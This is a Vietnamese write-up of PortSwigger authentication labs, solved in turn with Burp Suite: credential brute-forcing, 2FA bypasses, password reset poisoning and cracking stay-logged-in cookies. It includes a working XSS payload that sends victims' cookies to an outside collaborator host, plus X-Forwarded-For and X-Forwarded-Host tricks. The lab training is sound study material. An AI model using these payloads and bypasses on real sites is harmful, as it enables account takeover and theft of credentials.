Try   HackMD

AUTHENTICATION WRITE UP


tags: PortSwigger Writeup

1. Lab: Username enumeration via different responses

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Đối với lab đầu tiên này, em nhận thấy trang web này có thể tấn công bằng cách liệt kê tài khoản và mật khẩu. Lab đã chỉ ra rằng trang web có 1 tài khoản với username và password có thể dự doán được, và nó nằm trong wordlist mà lab đã cho:
    • Candidate usernames
    • Candidate passwords
  • Để xử lý lab này em đã sử dụng chức năng Intruder của BurpSuite:
    • Open Browser ở tab Proxy và thẻ HTTP history, copy link URL của lab vào browser của BurpSuite
    • Tại đây, em đã thử đăng nhập root/123456 để lấy được mẫu Intruder
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • Em gửi đường dẫn trên vào URL, thực hiện brute-force với 2 đối tượng là tài khoản và mật khẩu với attack type là Cluster Bomb
    • Em nhận thấy những request trả về 200 là invalid username, nên em cần request trả về cho em 302, là cổng found, nó sẽ redirect em khi em nhập tài khoản đúng:
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • Sau một hồi brute-force em đã có được tên đăng nhập và mật khẩu đúng
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • Với username là: att, mật khẩu là: qazwsx. Em đã solve được lab này

2. Lab: 2FA simple bypass

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Lab thứ hai này cho em 2 tài khoản, tài khoản của em và của Carlos, trang web lần này yêu cầu xác thực 2 yếu tố với yếu tố thứ 2 là một đoạn code 4 chữ số
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Đây là mã xác thực của tài khoản chính chủ của em:
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Em đã nghĩ đến việc brute-force bài này, bởi có 4 chữ số thì em phải xử lý 10000 trường hợp, nhưng lab này không cho em làm vậy, vì khi brute-force từng chữ số nó ra status 500, còn nhập tay mới trả về status 200, không trả cho em về kết quả mong muốn, nên em đã làm cách khác.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Cụ thể là khi đăng nhập vào tài khoản của em, nhập được security code, em có thể thấy nó chuyển từ tab login2 chuyển sang tab my-account, nên khi đăng nhập với tài khoản Carlos, khi sang tab login2 em đã tự chuyển URL sang tab my-account, nó đã giúp em solve bài lab này khi trang web đã thực hiện việc đăng nhập thành công sang tab account của Carlos mà không cần phải nhập đoạn security code 4 chữ số.
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

3. Lab: Password reset broken logic

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Bài lab này bảo em rằng em có thể tấn công bằng phương pháp đổi mật khẩu, cụ thể là tính năng quên mật khẩu khi đăng nhập tài khoản Carlos.
  • Đầu tiên khi em thử sử dụng quên mật khẩu với tên tài khoản Carlos và dùng email của chính mình: wiener@exploit-0a86003b03b39d67c10ee9c801680074.exploit-server.net thì nó vẫn gửi về email đổi mật khẩu, nhưng khi em đăng kí với username là: carlos và mật khẩu: bruh đã đổi thì nó lại báo Invalid username or password , sau khi em vào BurpSuite thì em mới biết em đang sửa mật khẩu nick của chính em chứ không phải nick của Carlos
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Ở đây em thấy nó gửi đi với tên tài khoản là username của chính em và mật khẩu đã đổi trước đó, nên em đã thử đưa đường link này vào Repeater và em đã sửa đổi username ở request là Carlos:
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Em quan sát thấy nó đã trả về status 302, nghĩa là redirect, việc thay đổi mật khẩu cho Carlos đã thành công
  • Sau đó, em vào lại trang web proxy của BurpSuite và đăng nhập với username là: carlosmật khẩu là : bruh thì em đã solve được lab
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

4. Lab: Username enumeration via subtly different responses

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Bài lab này đã cho em wordlist về username và password, nên em tiến hành brute-force sử dụng tính năng Intruder của BurpSuite
  • Đầu tiên đăng nhập 1 lần để lấy mẫu Intruder
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Sau đó em sử dụng 2 wordlist đã cho, bắt đầu brute-force, quan sát có thể thấy, nếu em đăng nhập sai tài khoản thì response sẽ trả về cho em status 200, nên mục tiêu của em là tìm đc tài khoản mà trả về status 302:
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Đăng nhập với username là: oracle và password là: buster đã brute-force được vào trang web, em đã solve được lab:
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

5. Lab: Username enumeration via response timing

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Bài lab này yêu cầu em brute-force tài khoản và mật khẩu dựa vào độ trễ của response, em đã đưa lab vào BurpSuite và thử một vài tài khoản và mật khẩu tuy tài khoản đúng nhưng độ trễ không chênh lệch nhau là mấy:
    • Khi em đăng kí bằng tài khoản của mình và mật khẩu random:
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • Khi em đăng kí đúng tài khoản của mình
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 219ms và 209ms, không chênh lệch nhau là mấy, nhưng nếu em để mật khẩu rất dài thì lúc đấy độ trễ lại cao hơn hẳn:
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • Độ trễ bây giờ đã lên tới tận 1788ms, nghĩa là lab này sẽ xử lý từ tài khoản rồi mới đến password, hơn nữa nếu brute-force bình thường sẽ không thể vì lab này khi em nhập sai quá nhiều trang web sẽ không cho em thử nữa. Vậy nên em đã có ý tưởng là brute-force lấy username trước, rồi mới brute-force mật khẩu.
  • Ý tưởng là vậy, nhưng với việc 101 tài khoản và 100 mật khẩu khi brute-force vẫn sẽ dính phải việc nhập sai quá nhiều lần do lab này dựa vào IP để cấp số lần nhập. Em đã sử dụng x-forwarded for header để thay đổi header của request, với lệnh này em sẽ chỉ thẳng IP nào sẽ gửi đi tài khoản nào, cơ sở đã đủ, giờ em tiến hành brute-force lấy username.
  • Với việc brute-force lấy username, em chỉ cần xem thời gian xử lý của tk nào là dài nhất thì nó là username đúng:
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    • Em sử dụng chế độ pitchfork và brute-force địa chỉ IP và username với mật khẩu dài
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • Username announcements có thời gian xử lý dài đột biến, nên em xác định đây là username đúng
  • Khi đã có username, em tiếp tục bruteforce lấy mật khẩu, vẫn sử dụng x-forwarded for header để sử dụng 1 IP cho 1 lần gửi:
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    • Lần này em sẽ xem tài khoản nào trả về status 302 là hoàn thành
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • Như vậy, với username là: announcements và password là: charlie, em đã solve được lab
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

6. Lab: Broken brute-force protection, IP block

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Ở lab này thì sau khi nhập thử cũng brute-force em thấy 1 tài khoản chỉ được đăng nhập sai 3 lần, nếu sai quá số lần thì IP sẽ bị chặn và em không thể đăng nhập được nữa
  • Hướng giải của bài này theo em sẽ là đăng nhập với tài khoản carlos xen kẽ với tài khoản của em, bằng việc nhập đúng tài khoản của em em sẽ không bị giới hạn số lần thử tài khoản của carlos
  • Đầu tiên là tạo wordlist cho việc bruteforce
    • Username:
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • Password:
  • Em đã để xen kẽ tài khoản của mình với tài khoản carlos để bypass bài này, sau đó sử dụng BurpSuite Intruder tiến hành brute-force:
  • Chọn attack type Pitchfork để mỗi username sẽ đi với password tương ứng:
  • Kết quả sau khi brute-force đã có:
  • Với username: carlospassword: 123qwe, em đã solve được lab

7. Lab: Username enumeration via account lock

  • Đầu tiền em đã thử 1 tài khoản nhiều lần nhưng kết quả trả về là Invalid username or password nên em nghĩ nếu tài khoản không tồn tại thì sẽ không bị khóa, nên em nghĩ đến việc brute-force mỗi tài khoản 10 lần để xem username nào bị khóa thì tài khoản đó mới là tài khoản đúng
  • Để có được list username mà mỗi tài khoản lặp lại 10 lần, em đã sử dụng Python để tạo file lab6.txt với mỗi username lặp lại 10 lần.
# Mở file văn bản và đọc nội dung của file with open("username.txt", "r") as f: lines = f.readlines() # Lặp qua từng dòng trong file và nhân chuỗi của mỗi dòng new_lines = [] for line in lines: new_lines.append(line.strip() + "\n" + ((line.strip() + "\n") * 9)) # Ghi nội dung đã nhân vào file with open("lab6.txt", "w") as f: f.writelines(new_lines)
  • Kết quả em có file lab6.txt như sau:
  • Tiến hành brute-force với list trên và attack type sniper:
  • Sau khi brute-force em thấy chỉ có riêng tài khoản agenda là trả về response bạn đã nhập sai quá nhiều nên em nghĩ đây chính là tài khoản đúng.
  • Tiếp tục brute-force password với tài khoản đã có:
  • Kết quả trả về có 3 loại: Invalid username or password , You have made too many incorrect login attempts. Please try again in 1 minute(s) và 1 trường hợp đặc biệt:
  • Trường hợp này không trả về dòng lỗi này nên em nghĩ nó là mật khẩu đúng:
  • Với username: agenda , password: 654321 em đã solve được lab

8. Lab: 2FA broken logic

  • Lab trên cho em tài khoản và mật khẩu của bản thân, đồng thời tên tài khoản em cần truy cập, với kiểu bài xác thực 2 yếu tố này em nghĩ đến việc làm thế nào để bypass được phần login2, là nơi nhập code, nên em tiến hành đưa trang web vào BurpSuite để xem xét.
  • Ở phần login đầu tiên, nếu em đăng nhập đúng tài khoản, web sẽ cấp cho em session và cookie verify theo tên user name, sau đó redirect sang trang login2, ở trang login2, nếu em đăng nhập đúng mfa-code thì web sẽ cấp tiếp session để redirect sang trang my-account
  • Em để ý đến việc cookie: verify=wiener ở POST login2 nên em đã thử chuyển thành carlos nhưng không có chuyện gì xảy ra lắm
  • Em hiểu rằng ở chỗ này session đang thuộc về wiener rồi, nếu chỉnh cookie ở đây sẽ không bypass được, nên em đã nghĩ ra sẽ bắt đầu đổi từ GET login2, nếu em chỉnh ở đây, web sẽ tạo mã xác thực dành cho session của tài khoản carlos:
    (GET thành công cho tài khoản carlos)
  • Như vậy, mfa-code cho tài khoản carlos đã có, giờ em nghĩ em có thể brute-force mfa-code được rồi:
  • Em sẽ đăng nhập vào bằng tài khoản của em, và nhập sai mã xác thực để lấy mẫu Intruder
  • Tiến hành brute-force từng chữ số của đoạn mã xác thực 4 chữ số, sẽ có 10000 trường hợp
  • Với mã xác thực là 0031, em đã solve được lab này:

  • Lab này sẽ cho phép em không phải đăng nhập nếu em stay log in, chỉ cần ấn vào my account nó sẽ tự redirect đến trang chủ, nên em đã thử thay đổi username thành carlos ở POST login và brute-force nhưng không có chuyện gì xảy ra
  • Em thấy cách hoạt động của trang web này sẽ là, nếu em đăng nhập thành công và bật stay log in, trang web sẽ cấp cho em 1 cookie là stay-logged-in, cụ thể là:
  • Nếu em có vào lần sau thì trang web sẽ so sánh xem cookie stay-logged-in và session có giống không, nếu có em sẽ vào thẳng trang web mà không cần phải đăng nhập
  • Em để ý rằng đoạn cookie stay-logged-in này có thể là base64 encode, nên em đã thử:
  • Quá bất ngờ, cookie này lại là username và 1 đoạn mã 32 ký tự nhìn khá đáng ngờ, vì em biết có 1 loại encrypt là md5 hash hay dùng cho mật khẩu cũng cho ra output là string 32 character, nên em đã thử tiếp:
  • Dòng ký tự kia hóa ra lại là mật khẩu của em, vậy nghĩa là cookie stay-logged-in được cấu tạo từ 2 phần: base64encode(username:(md5hash(password)))
  • Để kiểm chứng xem suy đoán của em có đúng hay không, em sẽ log out rồi thử brute-force ở tab GET /my-account sử dụng cấu trúc trên,chỉ cần có 1 trang web nào trả về cho em respond trang chủ thì nghĩa là em đã đúng:
  • Em brute-force password với list password có thêm chữ peter và các điều kiện:
​​​​+ Hash: MD5
​​​​+ Add Prefix: wiener:
​​​​+ Base64-encode

=> Với những điều kiện này, password của em sẽ được hash md5 trước, rồi thêm chữ wiener: vào đằng trước và cuối cùng được base64-encode

  • Kết quả đã có, chỉ ở payload cuối cùng là chữ peter em thêm vào, thì nó không redirect về trang login, mà nó đã có sẵn trang chủ:
  • Như vậy suy đoán của em đã đúng, em có thể thay đổi tab Intruder này với wordlist mật khẩu và prefix thay đổi thành carlos:
  • Em đã solve được lab này bằng cookie stay-logged-in:Y2FybG9zOmRmMDM0OWNlMTEwYjY5ZjAzYjRkZWY4MDEyYWU0OTcw, hay là username: carlos, password: hockey

10. Lab: Offline password cracking

  • Lab trên có chứa thông tin của người dùng ở trong cookie, đồng thời nó cũng chứa lỗ hổng XSS ở chức năng comment, để solve lab thì em sẽ lấy stay-logged-in cookie của carlos để lấy password, sau đó đăng nhập vào và xóa tài khoản. Em có tài khoản của mình là wiener:peter
  • Sau khi tiến hành XSS thì em có payload như sau sẽ lấy cookie của người xem bình luận:
<script>fetch("https://skg6xawbsy2gy71xfeg73k11nstjha5z.oastify.com/?"+document.cookie)</script>
  • Sau đó vào BurpCollaborator để lấy response và ta đã có kết quả:
  • Cookie stay-logged-in của carlos là: Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz, tiến hành giải mã nó
  • Đoạn password đã bị md5 hash nên ta tiến hành decrypt để lấy mật khẩu
  • Như vậy, tài khoản của nạn nhân là carlos:onceuponatime, đăng nhập vào và xóa tài khoản:

11. Lab: Password reset poisoning via middleware

  • Lab trên có chứa một lỗ hổng trong hệ thống reset password. Có một tài khoản 'carlos' sẽ tự ấn vào bất kỳ link nào ở trong email mà anh ta nhận được. Để solve lab thì em cần phải đăng nhập vào tài khoản của Carlos.
  • Quan sát ở Burp, ta thấy được để đổi được mật khẩu, lab sẽ gửi link trong email với token có ngay trên link, nếu ta ấn vào thì token đó sẽ không dùng được nữa:
  • Vậy giờ mục đích của ta là làm thế nào để có thể lấy được forgot password token của carlos. Để lấy được token của carlos, em sẽ sử dụng X-Forwarded-Host để giả host của lab, khi trang web gửi email đổi mật khẩu có token sẽ đi qua host này và em có thể lấy được thông qua access log, cụ thể, đưa tab POST /forgot-password vào repeater và thêm: X-Forwarded-Host: exploit-0a3d00f504652c70830a54ec01090050.exploit-server.net để đổi host của request:
  • Tiến hành vào access log của server để xem, ta sẽ có ngay token của carlos là : gs0txvpzyhsnx3z01gj7dkgtqui94qi3, nhớ đường link email vừa nãy khi ta đổi mật khẩu của wiener chứ? Copy link đó và thay bằng token của carlos, ta sẽ có thể đổi mật khẩu:
  • Em đã đổi mật khẩu là bruh, vậy là bruh
  • Giờ chỉ cần đăng nhập với tài khoản carlos:bruh là solve được lab rồi:

12. Lab: 2FA bypass using a brute-force attack

  • Lab này có chứa chức năng xác thực 2 yếu tố mà mình có thể bypass bằng brute-force. Ta đã có username và password của nạn nhân nhưng không có mã xác thực 2FA. Để solve lab thì ta sẽ cần brute-force để lấy mã 2FA để đăng nhập vào tài khoản của Carlos. Nick của Carlos: carlos:montoya
  • Đầu tiên ta quan sát trang web đã, khi vào thì họ sẽ yêu cầu mã xác thực, nhập sai đến lần thứ 2 nó sẽ đẩy mình về login từ đầu, vậy là nó đã dựa vào một cái gì đấy mà khi gửi mã 2FA đến lần thứ 2 nó không nhận nữa, đưa vào Burp xem sao:
    • Lần request thứ nhất:
    • Lần request thứ hai:
  • Nhận thấy ở phần body có csrf, vậy là biến csrf này chỉ được dùng 1 lần, để có thể brute-force được 2FA code thì mỗi lần thử ta cần một giá trị csrf mới. Nhưng ta không thể nào bịa được giá trị csrf :laughing:, nên giờ ta cần phải xem tham số csrf được tạo ra như thế nào đã nhỉ
  • Giá trị của csrf đã xuất hiện từ tab GET /login, và nó đi theo đến POST /login và GET /login2
  • Vậy nghĩa là như nào? Để có giá trị csrf mới, ta bắt buộc phải đi qua lần lượt 3 tab là: GET /login (cấp giá trị csrf mới) -> POST /login (đăng nhập với tham số csrf ở body) -> GET /login2 (giá trị csrf hidden trong form). Sau đó ta mới có thể POST /login2 (với csrf ở trong body) => Brure-force
  • Làm thế nào để đi qua 3 tab trên mỗi lần brute-force? Em sẽ sử dụng tính năng macro và session handling của BurpSuite để giải quyết việc này:
  • Đầu tiên vào setting và chọn phần Sessions:
  • Ở phần Session handling rules, chọn add, sau đó chuyển sang phần scope(phạm vi) để chọn rule áp dụng lên mọi URL của burpsuite browser:
  • Về lại phần Details, chọn Add tại Rule actions và chọn Run a macro:
  • Vì chưa có macro nên ta chọn add để tạo macro mới:
  • Giờ ta sẽ cần cho nó đi qua 3 tab như đã nói ở trên:
  • Chọn ok để xác nhận tạo macro, sau đó đưa tab POST /login2 vào Intruder tiến hành brute-force:
  • Lựa chọn option như này để biến intruder sẽ chạy từ 0000 đến 9999, đồng thời chỉnh lại resource pool xuống 1 payload:
  • Attack :crossed_swords: :crossed_swords:
  • Đã có respond 302, show respond in browser là ta đã solve được lab rùi :heavy_check_mark:

13. Lab: Password brute-force via password change

  • Chức năng đổi mật khẩu của lab này có thể bị brute-force, để solve lab thì em cần đăng nhập vào tài khoản của carlos, ta có tài khoản của bản thân wiener:peter

  • Đầu tiên ta sẽ quan sát chức năng đổi mật khẩu của trang web, đầu tiên em đã đổi mật khẩu của nick bản thân thành a, sau đó lấy request đó đưa vào repeater để thử đổi, vì để ý rằng khi đổi mật khẩu ở tab GET /my-account?id=wiener, ta có thể thấy tên được hidden ở trong form rồi khi đổi mật khẩu mới được gửi đi, nghĩa là ta có thể thay đổi giá trị của username trong body của phần POST, đầu tiên em thử đổi thành mật khẩu mới cho tài khoản carlos:

  • Trang web trả lời không có đâu em và đẩy em về tab login, em phải đăng nhập lại vào tài khoản wiener rồi lấy mẫu POST mới, nhưng khi ta nhập 2 mật khẩu mới khac snhau thì có chuyện hay xảy ra:

  • Ở đây nó đã check xem 2 mật khẩu không giống nhau và trả về 200 chứ không phải là 302, nó lại check ra là mật khẩu hiện tại không đúng?? vậy nghĩa là chức năng đổi mật khẩu này cũng check xem tài khoản và mật khẩu hiện tại đã đúng chưa như trang login, rồi mới check xem mật khẩu mới có trùng nhau hay không, nếu trùng nhau mà tài khoản và mật khẩu hiện tại đúng thì thành công, còn không thì bị bay về tab /login như trên

  • Và khi em thử ở tài khoản của bản thân, nhập đúng mật khẩu hiện tại và để 2 mật khẩu mới khác nhau thì trang wbe đã báo lỗi mật khẩu mới không trùng nhau, vậy là ta đã có hướng giải quyết bài lab này.

  • Đưa tab này vào intruder, ta sẽ brute-force current-password và để 2 mật khẩu mới khác nhau để tìm xem payload nào cho ta thông báo New passwords do not match thì nó chính là mật khẩu đúng:

  • Ở đoạn setting ta thêm phần tìm kiếm cho nhanh :+1:

  • Đây rồi, ta đã có kết quả của intruder với mật khẩu là batman

  • Solved :heavy_check_mark:

14. Lab: Broken brute-force protection, multiple credentials per request

image

  • Lab này cũng như bao lab trước tuy nhiên rằng họ đã chống khả năng bruteforce rùi nên mình cần đi tìm cách khác
  • Tại lab này thì mình thấy vẫn có tài khoản wiener:peter, còn khi nhập sai 4 lần thì sẽ bị cho out
  • Sau đó thì mình có thử đăng nhập sai 3 lần rồi 1 lần wiener:peter nhưng vẫn không được, nó tính sai ở lần thứ 4, có thể là nó gài số lần sai vào session rồi :+1:
    image
  • Đọc đề bài thì mình thấy là multiple credentials per request, ý là một request mình sẽ gửi nhiều tài khoản cùng lúc -> Mảng
  • JSON có hỗ trợ truyền vào string, object và array, mình có thể lợi dụng array để truyền nhiều mật khẩu vào trong 1 request: StackOverFlow
  • Mình nhờ ChatGPT gen ra chỗ password kia thêm dấu nháy đơn và dấu phẩy ở cuối
    image
  • Nhét chỗ đó vào body và mình đã đăng nhập được thành công rùi
    image
  • Solved :heavy_check_mark: :heavy_check_mark: :heavy_check_mark:
    image